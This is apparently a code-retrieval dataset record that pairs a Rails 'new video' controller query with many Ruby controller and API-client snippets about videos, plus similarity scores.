respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videos }\n end\n end", "def movies\n get('Movies')\n end", "def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def show\n @video_gallery = VideoGallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @video_gallery.to_xml }\n end\n end", "def list_assets\n get('/video/v1/assets')\n end", "def list_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: VideoApi.list_videos ...\"\n end\n # resource path\n local_var_path = \"/videos\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Video>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VideoApi#list_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @videocomments = Videocomment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videocomments }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def index\n @adm_videos = Adm::Video.all\n end", "def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end", "def index\n @videos = current_user.videos\n end", "def get_channnel_xml( url )\n path = url.sub(/http:\\/\\/gdata\\.youtube\\.com/,'')\n xml = \"\"\n\n Net::HTTP.version_1_2\n Net::HTTP.start(\"#{@url}\", \"#{@port}\") do |http|\n response = http.get(\"/#{path}\")\n xml = response.body\n end\n\n return xml\n end", "def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend", "def index\n @video_galleries = VideoGallery.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @video_galleries.to_xml }\n end\n end", "def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end", "def show\n render json: @video\n end", "def get_videos_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.get_videos ...\"\n end\n # resource path\n local_var_path = \"/media/videos\"\n\n # query parameters\n query_params = {}\n query_params[:'exclude_flagged'] = opts[:'exclude_flagged'] if !opts[:'exclude_flagged'].nil?\n query_params[:'filter_videos_by_uploader'] = opts[:'filter_videos_by_uploader'] if !opts[:'filter_videos_by_uploader'].nil?\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_videos_by_name'] = opts[:'filter_videos_by_name'] if !opts[:'filter_videos_by_name'].nil?\n query_params[:'filter_videos_by_contributor'] = opts[:'filter_videos_by_contributor'] if !opts[:'filter_videos_by_contributor'].nil?\n query_params[:'filter_videos_by_author'] = opts[:'filter_videos_by_author'] if !opts[:'filter_videos_by_author'].nil?\n query_params[:'filter_has_author'] = opts[:'filter_has_author'] if !opts[:'filter_has_author'].nil?\n query_params[:'filter_has_uploader'] = opts[:'filter_has_uploader'] if !opts[:'filter_has_uploader'].nil?\n query_params[:'filter_related_to'] = opts[:'filter_related_to'] if !opts[:'filter_related_to'].nil?\n query_params[:'filter_friends'] = opts[:'filter_friends'] if !opts[:'filter_friends'].nil?\n query_params[:'filter_disposition'] = opts[:'filter_disposition'] if !opts[:'filter_disposition'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceVideoResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#get_videos\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def index\n @videos = Video.pluck 'title'\n @videos = Video.order('created_at DESC')\n respond_to do |format|\n format.html{}\n format.json { render :json => @videos }\n end\n end", "def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end", "def show\n render json: @video\n end", "def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end", "def search_videos(args = {})\n args = receive_should_validate? args\n\n get('redtube.Videos.searchVideos', args,\n [:category, :page, :search, :tags, :stars,\n :thumbsize, :ordering, :period], args[:should_validate])\n end", "def index\n begin\n @active_page = \"videos\"\n @videos = Video.all\n @is_create_channel = current_user.channel.blank?\n respond_with(@videos)\n rescue Exception => e\n log_error(e, \"Error occured in Index action of VideosController\")\n flash_error(t('videos.index_page_load_error'))\n end\n end", "def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end", "def show\n @lift = Lift.find(params[:id])\n @videos = Lift.find(params[:id]).videos\n end", "def to_xml\n @builder = Builder::XmlMarkup.new(:indent => 2)\n @builder.instruct!(:xml, :version => '1.0', :encoding => 'UTF-8')\n\n @builder.urlset('xmlns' => 'http://www.sitemaps.org/schemas/sitemap/0.9',\n 'xmlns:video' => 'http://www.google.com/schemas/sitemap-video/1.1') do | xml|\n @videos.each do |video|\n downloadable = video['permissions'] && video['permissions']['download'] != 'private'\n embedable = video['permissions'] && video['permissions']['embed'] != 'private'\n\n xml.url do |xml|\n xml.loc(video['permalink'])\n xml.tag!('video:video') do\n xml.tag!('video:thumbnail_loc', \"http://www.viddler.com/thumbnail/#{video['id']}\")\n xml.tag!('video:title', video['title'])\n xml.tag!('video:description', video['description'])\n if downloadable\n xml.tag!('video:content_loc', video['files'].first['url'])\n end\n xml.tag!('video:player_loc', \"http://www.viddler.com/embed/#{video['id']}\", :allow_embed => embedable ? 'yes' : 'no')\n xml.tag!('video:duration', video['length'])\n xml.tag!('video:view_count', video['view_count'])\n xml.tag!('video:publication_date', Time.at(video['upload_time'].to_i).strftime('%Y-%m-%d'))\n xml.tag!('video:family_friendly', 'yes')\n xml.tag!('video:live', 'no')\n end\n end\n end\n end\n return @builder.target!\n end", "def show\n @video = Video.find(params[:id])\n end", "def index\n @videos = Video.paginate(:per_page => 25, :page => params[:page]).order(:created_at.desc)\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end", "def index\n @sales_videos = Sales::Video.all\n end", "def index\n @medio_videos = MedioVideo.all\n end", "def index\n @videos = Video.order(date: :desc).page(params[:page]).per(20)\n end" ]
[ "0.75634027", "0.71446943", "0.69122803", "0.6910946", "0.6910946", "0.6910946", "0.69004256", "0.6890343", "0.6870868", "0.68705004", "0.686812", "0.6768202", "0.6739545", "0.6706381", "0.6651797", "0.6583376", "0.6536348", "0.6536348", "0.65333235", "0.65057504", "0.64934576", "0.6469574", "0.6469574", "0.64665556", "0.64599824", "0.645982", "0.645982", "0.645982", "0.645982", "0.64561045", "0.6382918", "0.6374573", "0.63666195", "0.6362311", "0.6356052", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6323946", "0.6313746", "0.62994283", "0.6293814", "0.6293814", "0.6293814", "0.6293814", "0.6293814", "0.6293814", "0.6293814", "0.62912464", "0.6265962", "0.62435865", "0.6233433", "0.6228503", "0.62279594", "0.6218029", "0.621265", "0.620094", "0.61862004", "0.6168358", "0.6156171", "0.6156171", "0.6133342", "0.61318314", "0.6125103", "0.6121381", "0.61029804", "0.60992026", "0.60960627", "0.6084433", "0.6065977", "0.60578454", "0.60465956", "0.60416967", "0.6031158", "0.60308397", "0.6023195", "0.60197604", "0.60197556", "0.6013392", "0.59952414", "0.59929895", "0.59827596", "0.5980889", "0.59782165", "0.5970767", "0.5967097", "0.5957249" ]
0.6011314
92
GET /videos/1 GET /videos/1.xml
def show @video = Video.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @video } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def videos options={}\n response = client.get(\"/#{id}/videos\", options)\n end", "def index\n @videos = Video.all\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @videos.to_xml }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video }\n end\n end", "def index\n @community_member_videos = @community_member_profile.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @community_member_videos }\n end\n end", "def resources\n videos\n end", "def video_doc(xml)\n Nokogiri::XML.parse(\"<root xmlns:video='#{SitemapGenerator::SCHEMAS['video']}'>#{xml}</root>\")\n end", "def show\n @video_model = VideoModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @video_model }\n end\n end", "def get_album_videos album_id\n get(\"/albums/#{album_id}/videos\")\n end", "def show\n @videos = Video.find_by(id: params[:id])\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def show\n @community_member_video = @community_member_profile.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end", "def rss_video\n @language = params[:DLANG] || 'ENG'\n I18n.locale = @locale = Language::CODE3_LOCALE[@language] || :en\n\n @days = params[:DAYS].to_i || 1\n @days = 1 if @days > 31 || @days < 1\n\n @host = \"#{request.protocol}#{request.host}#{request.port == 80 ? '' : \":#{request.port}\"}\"\n\n # Get list of updated files\n @files = get_updated_files(@days).map do |file|\n {\n lesson_id: file[0],\n title: get_lesson_title(file[0], @language),\n updated: file[1][0].updated,\n files: file[1].group_by { |x| x['ftype'].downcase }\n }\n end.select do |file|\n file[:title]\n end\n end", "def show\n @videos = Video.all\n @video = @videos.find params[:id]\n end", "def index\n @videos = @item.videos\n end", "def index\n @videos = @item.videos\n end", "def index\n @afdoc = ActiveFedora::Base.find(params[:archival_video_id], :cast => true)\n respond_to do |format|\n format.html { render :partial => \"external_videos/show/list\" if request.xhr? }\n end\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def video_xml\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct! :xml, :version => '1.0', :encoding => nil\n xml.entry :xmlns => 'http://www.w3.org/2005/Atom',\n 'xmlns:media' => 'http://search.yahoo.com/mrss/',\n 'xmlns:yt' => 'http://gdata.youtube.com/schemas/2007' do\n xml.media :group do\n xml.media :title, @opts[:title], :type => 'plain'\n xml.media :description, @opts[:description], :type => 'plain'\n xml.media :category, @opts[:category], :scheme => 'http://gdata.youtube.com/schemas/2007/categories.cat'\n @opts[:developer_tags].each do |developer_tag|\n xml.media :category, developer_tag, :scheme => 'http://gdata.youtube.com/schemas/2007/developertags.cat'\n end\n xml.tag! 'media:keywords', @opts[:keywords].join(\",\")\n end\n end\n xml.target!\n end", "def show \n @project = Project.find params[:id]\n @videos = @project.videos\n end", "def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @product_videos }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def index\n\t\t@latest_video = Video.find(:first, :order => \"created_at DESC\")\n\t\toptions = {\n\t\t\t:page => params[:page] || 1,\n\t\t\t:per_page => 10,\n\t\t\t:order => params[:sort].blank? ? \"created_at DESC\" : params[:sort]\n\t\t}\n\t\toptions[:conditions] = [\"id != #{@latest_video.id}\"]\n @videos = Video.paginate(options)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videos }\n end\n end", "def list\n @videos = Video.all\n\n respond_to do |format|\n format.html # list.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def show\n @video = Video.find(params[:id])\n end", "def video_xml(video_options)\n SitemapGenerator::Builder::SitemapUrl.new(url_options[:path], {\n :host => url_options[:host],\n :video => video_options\n }).to_xml\n end", "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def show\n @video_gallery = VideoGallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @video_gallery.to_xml }\n end\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = Video.all\n end", "def index\n @videos = current_user.videos\n respond_with(@videos)\n end", "def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @video }\r\n end\r\n end", "def new\n @raw_video = RawVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @raw_video }\n end\n end", "def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end", "def show\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @video = Video.find(params[:id])\n respond_with(@video)\n end", "def index\n authorize! :read, @videos\n @videos = searchitems(params[:search],Video,'video_name')\n @video = @videos.first\n end", "def new\n @videofile = Videofile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @videofile }\n end\n end", "def index\n @videos = @palestrante.videos.mais_novos\n end", "def index\n\n\n\n @yt_client = YouTubeIt::Client.new(:dev_key => ENV[\"YOUTUBE_DEV_KEY\"])\n\n @videos = Video.search(params[:search])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = current_user.videos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n #@videos = Video.all\n @videos = Video.paginate(:page => params[:page], :per_page => 25)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def show\n @controller = controller_name\n @action = action_name\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\n @lift = Lift.find(params[:id])\n @videos = Lift.find(params[:id]).videos\n end", "def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end", "def index\n @videocomments = Videocomment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @videocomments }\n end\n end", "def index\r\n @devices = Address.find(:all)\r\n if params.has_key?(:device_id)\r\n @videos = Video.find(:all,\r\n :conditions =>[\"device_id = ?\", params[:device_id]],\r\n :order => \"timestamp DESC\")\r\n else\r\n @videos = Video.find(:all, :order => \"timestamp DESC\")\r\n end\r\n\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @videos }\r\n end\r\n end", "def to_xml\n @builder = Builder::XmlMarkup.new(:indent => 2)\n @builder.instruct!(:xml, :version => '1.0', :encoding => 'UTF-8')\n\n @builder.urlset('xmlns' => 'http://www.sitemaps.org/schemas/sitemap/0.9',\n 'xmlns:video' => 'http://www.google.com/schemas/sitemap-video/1.1') do | xml|\n @videos.each do |video|\n downloadable = video['permissions'] && video['permissions']['download'] != 'private'\n embedable = video['permissions'] && video['permissions']['embed'] != 'private'\n\n xml.url do |xml|\n xml.loc(video['permalink'])\n xml.tag!('video:video') do\n xml.tag!('video:thumbnail_loc', \"http://www.viddler.com/thumbnail/#{video['id']}\")\n xml.tag!('video:title', video['title'])\n xml.tag!('video:description', video['description'])\n if downloadable\n xml.tag!('video:content_loc', video['files'].first['url'])\n end\n xml.tag!('video:player_loc', \"http://www.viddler.com/embed/#{video['id']}\", :allow_embed => embedable ? 'yes' : 'no')\n xml.tag!('video:duration', video['length'])\n xml.tag!('video:view_count', video['view_count'])\n xml.tag!('video:publication_date', Time.at(video['upload_time'].to_i).strftime('%Y-%m-%d'))\n xml.tag!('video:family_friendly', 'yes')\n xml.tag!('video:live', 'no')\n end\n end\n end\n end\n return @builder.target!\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => current_vurl }\n end\n end", "def index\n @videos = Video.order('created_at DESC').page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def show\n @videocomment = Videocomment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @videocomment }\n end\n end", "def video id, xml=nil\n vid = Video.new(id, self, xml)\n return nil if vid.id == -1\n return vid\n end", "def show_video\n\t\t@video = OldFlashFile.find(params[:id]) \n\t\tif @video\n\t\t@status=request.protocol+request.host_with_port+@video.video.url\n\t\telse\n\t\t@status = {\"status-msg\"=>\"Video not exist\"}\n\t\tend\n\n render :json =>@status.to_json\n\t\tend", "def show\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @c_video }\n end\n end", "def index\n @video_galleries = VideoGallery.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @video_galleries.to_xml }\n end\n end", "def my_video(video_id)\n client.get_my_video(video_id)\n end", "def index\n @videos = @user.videos\n @videos = @videos.order(:id).page params[:page]\n end", "def show\n @video = Video.find(params[:id])\n\n @networks = @video.networks\n\n @impressions = @video.impressions\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end", "def show\r\n @video = Video.find(params[:id]) \r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } #show.html.erb\r\n format.json { render json: @video } \r\n end\r\n end", "def index\n redirect_to videos_url\n end", "def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end", "def index\n @videos = Video.all\n render json: @videos\n end", "def show\n @tv = Tv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tv }\n end\n end", "def index\n @videos = Video.paginate(:per_page => 25, :page => params[:page]).order(:created_at.desc)\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @playlist.to_xml }\n end\n end", "def index\n begin\n @active_page = \"videos\"\n @videos = Video.all\n @is_create_channel = current_user.channel.blank?\n respond_with(@videos)\n rescue Exception => e\n log_error(e, \"Error occured in Index action of VideosController\")\n flash_error(t('videos.index_page_load_error'))\n end\n end", "def get_folder_videos folder_id, **args\n get(\"/projects/#{folder_id}/videos\", args)\n end", "def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @product_video }\n end\n end" ]
[ "0.71213084", "0.71006984", "0.7077252", "0.7075795", "0.7075795", "0.7075795", "0.705557", "0.6751679", "0.67459095", "0.6678883", "0.6652542", "0.6649166", "0.66300887", "0.66205186", "0.6600312", "0.6598148", "0.65639853", "0.6441869", "0.6441869", "0.64399385", "0.64055747", "0.64055747", "0.6403036", "0.6396639", "0.6390085", "0.6325351", "0.6325351", "0.6325351", "0.6325351", "0.6325351", "0.6325351", "0.6325351", "0.6307286", "0.6307286", "0.63003236", "0.62967885", "0.62755495", "0.6275077", "0.6275077", "0.6275077", "0.6275077", "0.627409", "0.62692404", "0.6259984", "0.6255095", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6236811", "0.6159706", "0.61540455", "0.61366725", "0.6136372", "0.6133871", "0.6119964", "0.61064833", "0.6103035", "0.60968083", "0.6085329", "0.6083557", "0.6076934", "0.6061516", "0.60595024", "0.60590184", "0.6057505", "0.6055426", "0.6040469", "0.60362715", "0.6031996", "0.6020376", "0.6020246", "0.6015876", "0.6012454", "0.6007013", "0.59973425", "0.59832907", "0.5977324", "0.5973302", "0.59672314", "0.5960557", "0.5954287", "0.59494543", "0.5945182", "0.5942486", "0.59300315", "0.5929856", "0.59256595" ]
0.69500834
7
GET /videos/new GET /videos/new.xml
def new @video = Video.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @video } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @raw_video = RawVideo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @raw_video }\n end\n end", "def new\n @videofile = Videofile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @videofile }\n end\n end", "def new\n @video_model = VideoModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video_model }\n end\n end", "def new\n begin\n @active_page = \"videos\"\n @video = Video.new\n respond_with(@video)\n rescue Exception => e\n log_error(e, \"Error occured in New action of VideosController\")\n flash_error(t('videos.new_page_load_error'))\n end\n end", "def new\n \n @video = Video.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = @project.videos.build\n \n respond_to do |format|\n if @user.can_add_videos?\n format.html # new.html.erb\n format.xml { render :xml => @video }\n else\n flash[:warning] = \"You cannot add any more videos, upgrade plan or remove old videos.\"\n format.html { redirect_to(project_url(@project, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @video = Video.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @tv = Tv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tv }\n end\n end", "def new\n @video = Video.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @video }\n end\n end", "def new\n @community_member_video = @community_member_profile.videos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @community_member_video }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @product_video }\n end\n end", "def new\n @tube = Tube.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tube }\n end\n end", "def new\n @video = Video.new\n @video.asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def new\n @sequence = Sequence.new(:video => Video.find(params[:video_id]))\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sequence}\n end\n end", "def new\n @video = Video.new\n @title = \"Video Submission\"\n \n @url = params[:url]\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\r\n @video = Video.new\r\n\r\n respond_to do |format|\r\n format.html { render :layout => false } # new.html.erb\r\n format.json { render json: @video }\r\n end\r\n end", "def new\n @videocomment = Videocomment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @videocomment }\n end\n end", "def new\n @video = Video.new\n p params\n @video.title = params[:title] if params[:title]\n @video.url = params[:url] if params[:url]\n @video.image_url = params[:image_url] if params[:image_url]\n @video.active = params[:active] if params[:active]\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @video }\n end\n end", "def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @episode }\n end\n end", "def new\n @episode = Episode.new\n\n respond_to do |format|\n format.html # 